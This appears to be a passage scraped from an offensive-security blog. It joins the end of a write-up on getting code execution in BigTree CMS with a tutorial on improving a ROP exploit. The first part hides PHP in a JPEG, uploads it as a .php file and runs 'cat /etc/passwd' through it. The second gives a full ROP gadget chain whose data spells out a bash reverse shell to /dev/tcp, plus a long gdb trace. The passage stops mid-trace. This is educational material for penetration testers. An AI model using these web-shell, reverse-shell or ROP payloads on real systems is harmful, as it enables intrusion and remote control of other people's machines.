Firstly I will change the size to 1400x625, which is the size it wanted to crop the image to, I done this in GIMP in Image -> Scale Image...:

I saved this to two.jpg, renamed it to two.php and attempted the upload again:

So its uploaded successfully!

Right clicking on the new image and clicking Copy Image Location gives us the following url:

http://[ip]/BigTree-CMS/site/files/features/t_two.php

In that folder there is currently the following files:

Obviously, these will not work as PHP files yet because they contain no actual PHP code, we will sort that out in a minute, but we can see that both two.php and xlrg_two.php is very likely our original file, whereas t_two.php is a different version created by the application.

So I added some PHP code into the comments section of the image, using GIMP again, going to File -> Export..., putting three.jpg as the name and clicking Export:

Again, change the file extension from .jpg to .php and do the upload.

After, visit the following url to see if it has worked:

http://[ip]/BigTree-CMS/site/files/features/three.php?cmd=cat%20/etc/passwd

Obviously that didn't work :-(

After, a lot of trial and error, I decided to try search for other instances of <? (the opening of PHP code in PHP files) using the hex editor HxD:

There were 2 other instances (apart from the 1 in the commands section which contains my PHP code), here is the comment section in HxD:

I changed one of the values so that there were no other instances and tried again:

Clearly it didn't work, but at least now its not producing an error (its returning the actual content of the file instead of nothing which means those 2 extra <? where a problem).

I thought that maybe the application was stripping the comment section, so I used HxD again to insert my PHP code directly into the middle of the actual image:

Trying this file, gives us:

I now have the ability to run OS commands on the webserver.

PWNED!!! :-D

Conclusion

I think this post illustrates the different steps that might be involved in a full attack against a web application.

As you can see, there could be many vulnerabilities involved (I found at least 6 vulnerabilities in this application), each getting you closer and closer to the ultimate goal of RCE (remote code execution).

There will always be a reasonable level of trial and error when figuring out how to exploit most vulnerabilities, in all of the simplist cases, so a lot of patience is required to be successful!

Happy Hacking :-)

Further Reading

The Web Application Hackers Handbook by Dafydd Stuttard and Marcus Pinto (Here is the website that accompanies the book)

OWASP Testing Guide which can be viewed online or downloaded from here.

SQL Injection Attacks and Defense by Justin Clarke

Pentester Academy by Vivek Ramachandran has a number of relevant courses (WAP, Challenges and Python)

Improving The ROP Exploit

14 January 2015 at 14:55
By: 0xe7

So after the last post I kept thinking of ways that I could improve the exploit so I decided to do it.

If you haven't already read the last post on developing a ROP exploit, you should read that before this because I will not cover anything that I covered there and it is just a continuation of that. You can read it here.

As with any exploit development the main point of interest for improvement is reducing the size of the payload so this is where I will focus.

You can think about obfuscation and such in certain exploitations but when ROP is required obfuscation isn't really an option.

Why/How ROP Works

In the last post I didn't really go into much detail about why or how ROP actually works because the post was already pretty long but I thought I'd go into it a bit here.

In my post titled Basic Binary Auditing, in the section called Stack Frames I explain how function calls and returns work.

The important part of that in terms of ROP is how the function returns. A stack-based buffer overflow exploit is initiated when the vulnerable function returns.

This is because the return address that is stored on the stack is pop'ed off of the stack into eip (the instruction pointer).

This happens because when a function is returning it has no way of knowing where in the application code to continue executing.

Because of this the address that execution should return to after the function is finished is pushed onto the stack when the function is called so that it can be retrieved when its finished.

If you find a stack-based buffer overflow and you are able to send enough data to overwrite this address you can change the flow of execution and point eip wherever you want.

With ROP, understanding this concept is paramount to success. What you are doing is creating your own stack (the same as with return to libc).

The only difference between ROP and return to libc is that instead of "calling" actual library functions you are "calling" snipets of code that resemble the end of a function (a few instructions and then a return), which are called gadgets.

By inserting a bunch of gadgets 1 after another on the stack (chaining) you are controlling the execution flow of the application and with enough gadgets you can build a suitibly large application to do whatever you want.

If you understand this it becomes obvious that esp (the stack pointer) has now become your new eip.

By changing the value of esp you can actually create a new stack elsewhere, this becomes useful for various reasons, eg. if you are constraint for space on the stack (as with in kernel mode) you can allocate space on the heap insert your stack there and change esp to point to your new stack.

I will use this method in this exploit for making ROP function calls and explain how you can use this to make ROP conditional statements.

Moving The Data Section

Back to our exploit.

If you remember we put the data section of our payload at the end but we have 532 A's that we are sending in order to overflow the buffer.

The best way to reduce the size of our exploit to to make as much use of this section at the start as possible.

So we will now move the data section to the start.

I mentioned in the last post that using ////bin/bash instead of /bin/bash wasn't technically needed and was a bit of a waste of space but as we are moving this section to the padding section, which always has to be a fixed 532 bytes, we can leave it as is for now.

If we actually use the whole 532 bytes of this section I will make some changes here to reduce its size but as it is it makes calculations slightly easier.

A ROP Function

IMO, the most exciting part of this new exploit will be the implementation of a "function call".

In the last exploit we were using the same series of gadgets throughout the exploit to calculate addresses.

In a normal application we'd use a function for this, so I thought why shouldn't we here, looking through the avaliable gadgets I created this to do our address calculations:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

Here the "return address" (the value on the stack that we need to put back into esp at the end) starts off in the eax register.

The function takes 2 "arguments", ecx, which should contain the starting address of the function, and ebx, which should contain the value 0xaaaaaaaa - [distance from the start of the function to the value we want the address of].

As the values we need to calculate are in the data section we want to stick this function below the data section (it could go before but we've have to change the last sub instruction to an add instruction).

The return value of this function is stored in edi when this function is finished.

Based on the gadgets we have avaliable there are 2 different ways, that I have found, we can set up the "call" for this function, the first is this:

1
2
3
0x0808385d : mov eax, ecx ; pop ebx ; pop ebp ; ret
[0xaaaaaaaa - distance from ecx to relevant value]
0xeeeeeeee : junk values to pop

And the second:

1
2
3
0x080a66af : xor eax, eax ; pop ebx ; ret
[0xaaaaaaaa - distance from ecx to relevant value]
0x0807629e : add eax, ecx ; ret

Both of these achieve the same outcome and certainly for our purpose there isn't any difference between the 2.

After 1 of these series of instructions we have the address of the function in eax, so we can call the function with the following gadget:

1
0x0807b086 : xchg eax, esp ; ret

This will put the return address into eax and begin execution at the start of our function.

Once our function returns the return value will be in edi, in our old exploit this value was always put into eax or edx.

We can get this value into eax using this gadget:

1
0x080a3f72 : xchg eax, edi ; ret

And if we want the return value into edx we can use this gadget:

1
0x0809cd4b : mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

With this gadget we can put a value straight into ebx setting up ebx for the next function call.

All addresses will now be calculated relative to ecx which should contain the address of the start of the function, therefore this should now be the first problem we approach and the final address of ecx should be set after we've finished with the function.

Testing The Exploit

We want to try to minimize the number of junk values as much as possible too so this should be kept in mind while putting the gadgets together.

At this point you should have notes similar to the following:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

#################### Function ######################

0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

################### Padding A's ####################

A * (532 - len(payload))

################### Application ####################

0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x08057b7e : pop ebx ; ret
0xaaaaa8e6 : 0xaaaaaaaa - 452 (distance to 0xffffffff value in the
       : data just before the function
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the distance from edx to 
---------------------------- 0xffffffff at the end of the data
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xaaaaaa96
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the address of 0xffffffff
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
0x0807abcc : mov eax, edx ; ret
---------------------------- write nulls over 0xffffffff
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
---------------------------- ecx now contains the starting address
---------------------------- of the function
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
0x0809cd4b : mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0xaaaaaa66 : 0xaaaaaaaa - distance to -c 0xffffffff (68)
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------- calculate address of long arg 0xffffffff
---------------------------- and write nulls there

Here I'm using the function to calculate the address of the first set of 0xffffffff (to terminate the long argument string) and writing nulls there.

The actual exploit is a very simple python script, as you should know from the first post, so I will only post the full script at the end when we have developed the final exploit.

You can break at the ret of the checkpass function and step through each instruction, here I will break at the function call and ensure that is working as expected:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
[email protected]:~$ gdb -q ./app-net
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/10xw $esp
>x/i $eip
>end
(gdb) display/x $eax
(gdb) display/x $ebx
(gdb) display/x $ecx
(gdb) display/x $edx
(gdb) display/x $edi
(gdb) display/x $esp
(gdb) break *0x0807629e
Breakpoint 1 at 0x807629e
(gdb) run
Starting program: /home/appuser/app-net 
0xbfffe7c8: 0x0807b086  0x0809cd4b  0xaaaaaa66  0xeeeeeeee
0xbfffe7d8: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x08083f21
0xbfffe7e8: 0x08099c00  0x0807629e
=> 0x807629e <compute_offset+46>:   add    eax,ecx

Breakpoint 1, 0x0807629e in compute_offset ()
6: /x $esp = 0xbfffe7c8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0x0
(gdb) x/10xw 0xbfffe580
0xbfffe580: 0x080a3f72  0x080a8576  0xaaaaaaaa  0x080748fc
0xbfffe590: 0xeeeeeeee  0xeeeeeeee  0x080535be  0xeeeeeeee
0xbfffe5a0: 0xeeeeeeee  0x08099c0f
(gdb) x/xw 0xbfffe580 - 4
0xbfffe57c: 0x00000000
(gdb) x/xw 0xbfffe580 - 8
0xbfffe578: 0xdddddddd
(gdb) x/xw 0xbfffe580 - 12
0xbfffe574: 0xcccccccc
(gdb) stepi
0xbfffe7c8: 0x0807b086  0x0809cd4b  0xaaaaaa66  0xeeeeeeee
0xbfffe7d8: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x08083f21
0xbfffe7e8: 0x08099c00  0x0807629e
=> 0x80762a0 <compute_offset+48>:   ret    
0x080762a0 in compute_offset ()
6: /x $esp = 0xbfffe7c8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xbfffe580
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe580: 0x080a3f72  0x080a8576  0xaaaaaaaa  0x080748fc
0xbfffe590: 0xeeeeeeee  0xeeeeeeee  0x080535be  0xeeeeeeee
0xbfffe5a0: 0xeeeeeeee  0x08099c0f
=> 0x807b087 <intel_check_word+391>:    ret    
0x0807b087 in intel_check_word ()
6: /x $esp = 0xbfffe580
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xbfffe7cc
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe584: 0x080a8576  0xaaaaaaaa  0x080748fc  0xeeeeeeee
0xbfffe594: 0xeeeeeeee  0x080535be  0xeeeeeeee  0xeeeeeeee
0xbfffe5a4: 0x08099c0f  0x0807629e
=> 0x80a3f73 <____strtold_l_internal+2499>: ret    
0x080a3f73 in ____strtold_l_internal ()
6: /x $esp = 0xbfffe584
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xeeeeeeee
(gdb) stepi
0xbfffe588: 0xaaaaaaaa  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe598: 0x080535be  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe5a8: 0x0807629e  0x080748fc
=> 0x80a8576 <_Unwind_GetDataRelBase+6>:    pop    eax
0x080a8576 in _Unwind_GetDataRelBase ()
6: /x $esp = 0xbfffe588
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xeeeeeeee
(gdb) stepi
0xbfffe58c: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080535be
0xbfffe59c: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x0807629e
0xbfffe5ac: 0x080748fc  0xeeeeeeee
=> 0x80a8577 <_Unwind_GetDataRelBase+7>:    ret    
0x080a8577 in _Unwind_GetDataRelBase ()
6: /x $esp = 0xbfffe58c
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xaaaaaaaa
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe590: 0xeeeeeeee  0xeeeeeeee  0x080535be  0xeeeeeeee
0xbfffe5a0: 0xeeeeeeee  0x08099c0f  0x0807629e  0x080748fc
0xbfffe5b0: 0xeeeeeeee  0xeeeeeeee
=> 0x80748fe <strnlen+126>: pop    ebx
0x080748fe in strnlen ()
6: /x $esp = 0xbfffe590
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0x14
(gdb) stepi
0xbfffe594: 0xeeeeeeee  0x080535be  0xeeeeeeee  0xeeeeeeee
0xbfffe5a4: 0x08099c0f  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe5b4: 0xeeeeeeee  0x080c0f18
=> 0x80748ff <strnlen+127>: pop    ebp
0x080748ff in strnlen ()
6: /x $esp = 0xbfffe594
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0x14
(gdb) stepi
0xbfffe598: 0x080535be  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141
=> 0x8074900 <strnlen+128>: ret    
0x08074900 in strnlen ()
6: /x $esp = 0xbfffe598
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0x14
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe598: 0x00000014  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141
=> 0x80535bf <malloc_info+239>: pop    ebx
0x080535bf in malloc_info ()
6: /x $esp = 0xbfffe598
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0x14
(gdb) stepi
0xbfffe59c: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x0807629e
0xbfffe5ac: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe5bc: 0x41414141  0x41414141
=> 0x80535c0 <malloc_info+240>: pop    esi
0x080535c0 in malloc_info ()
6: /x $esp = 0xbfffe59c
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a0: 0xeeeeeeee  0x08099c0f  0x0807629e  0x080748fc
0xbfffe5b0: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe5c0: 0x41414141  0x41414141
=> 0x80535c1 <malloc_info+241>: pop    ebp
0x080535c1 in malloc_info ()
6: /x $esp = 0xbfffe5a0
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a4: 0x08099c0f  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe5b4: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe5c4: 0x41414141  0x41414141
=> 0x80535c2 <malloc_info+242>: ret    
0x080535c2 in malloc_info ()
6: /x $esp = 0xbfffe5a4
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141  0x41414141  0x41414141
0xbfffe5c8: 0x41414141  0x41414141
=> 0x8099c0f <strpbrk+175>: xor    eax,eax
0x08099c0f in strpbrk ()
6: /x $esp = 0xbfffe5a8
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141  0x41414141  0x41414141
0xbfffe5c8: 0x41414141  0x41414141
=> 0x8099c11 <strpbrk+177>: ret    
0x08099c11 in strpbrk ()
6: /x $esp = 0xbfffe5a8
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x0
(gdb) stepi
0xbfffe5ac: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141
=> 0x807629e <compute_offset+46>:   add    eax,ecx

Breakpoint 1, 0x0807629e in compute_offset ()
6: /x $esp = 0xbfffe5ac
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x0
(gdb) stepi
0xbfffe5ac: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141
=> 0x80762a0 <compute_offset+48>:   ret    
0x080762a0 in compute_offset ()
6: /x $esp = 0xbfffe5ac
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0xbfffe580
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe5b0: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe5c0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5d0: 0x41414141  0x41414141
=> 0x80748fe <strnlen+126>: pop    ebx
0x080748fe in strnlen ()
6: /x $esp = 0xbfffe5b0
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0xbfffe56c
(gdb) x/xw 0xbfffe56c
0xbfffe56c: 0xffffffff
(gdb) x/xw 0xbfffe56c + 4
0xbfffe570: 0xbbbbbbbb
(gdb) stepi
0xbfffe5b4: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe5c4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5d4: 0x41414141  0x41414141
=> 0x80748ff <strnlen+127>: pop    ebp
0x080748ff in strnlen ()
6: /x $esp = 0xbfffe5b4
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe56c
(gdb) stepi
0xbfffe5b8: 0x080c0f18  0x41414141  0x41414141  0x41414141
0xbfffe5c8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5d8: 0x41414141  0x41414141
=> 0x8074900 <strnlen+128>: ret    
0x08074900 in strnlen ()
6: /x $esp = 0xbfffe5b8
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe56c
(gdb) stepi
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5dc: 0x41414141  0x41414141
=> 0x80c0f18 <__tens+2904>: xchg   edi,eax
0x080c0f18 in __tens ()
6: /x $esp = 0xbfffe5bc
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe56c
(gdb) stepi
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5dc: 0x41414141  0x41414141
=> 0x80c0f19 <__tens+2905>: xchg   esp,eax
0x080c0f19 in __tens ()
6: /x $esp = 0xbfffe5bc
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe7cc
(gdb) stepi
0xbfffe7cc: 0x0809cd4b  0xaaaaaa66  0xeeeeeeee  0xeeeeeeee
0xbfffe7dc: 0xeeeeeeee  0x08099c0f  0x08083f21  0x08099c00
0xbfffe7ec: 0x0807629e  0x080748fc
=> 0x80c0f1a <__tens+2906>: ret    
0x080c0f1a in __tens ()
6: /x $esp = 0xbfffe7cc
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe5bc
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe7d0: 0xaaaaaa66  0xeeeeeeee  0xeeeeeeee  0xeeeeeeee
0xbfffe7e0: 0x08099c0f  0x08083f21  0x08099c00  0x0807629e
0xbfffe7f0: 0x080748fc  0xeeeeeeee
=> 0x809cd4d <____strtoull_l_internal+525>: pop    ebx
0x0809cd4d in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7d0
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7d4: 0xeeeeeeee  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe7e4: 0x08083f21  0x08099c00  0x0807629e  0x080748fc
0xbfffe7f4: 0xeeeeeeee  0xeeeeeeee
=> 0x809cd4e <____strtoull_l_internal+526>: pop    esi
0x0809cd4e in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7d4
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7d8: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x08083f21
0xbfffe7e8: 0x08099c00  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe7f8: 0xeeeeeeee  0x080c0f18
=> 0x809cd4f <____strtoull_l_internal+527>: pop    edi
0x0809cd4f in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7d8
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7dc: 0xeeeeeeee  0x08099c0f  0x08083f21  0x08099c00
0xbfffe7ec: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe7fc: 0x080c0f18  0x41414141
=> 0x809cd50 <____strtoull_l_internal+528>: pop    ebp
0x0809cd50 in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7dc
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7e0: 0x08099c0f  0x08083f21  0x08099c00  0x0807629e
0xbfffe7f0: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe800: 0x41414141  0x41414141
=> 0x809cd51 <____strtoull_l_internal+529>: ret    
0x0809cd51 in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7e0
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7e4: 0x08083f21  0x08099c00  0x0807629e  0x080748fc
0xbfffe7f4: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe804: 0x41414141  0x41414141
=> 0x8099c0f <strpbrk+175>: xor    eax,eax
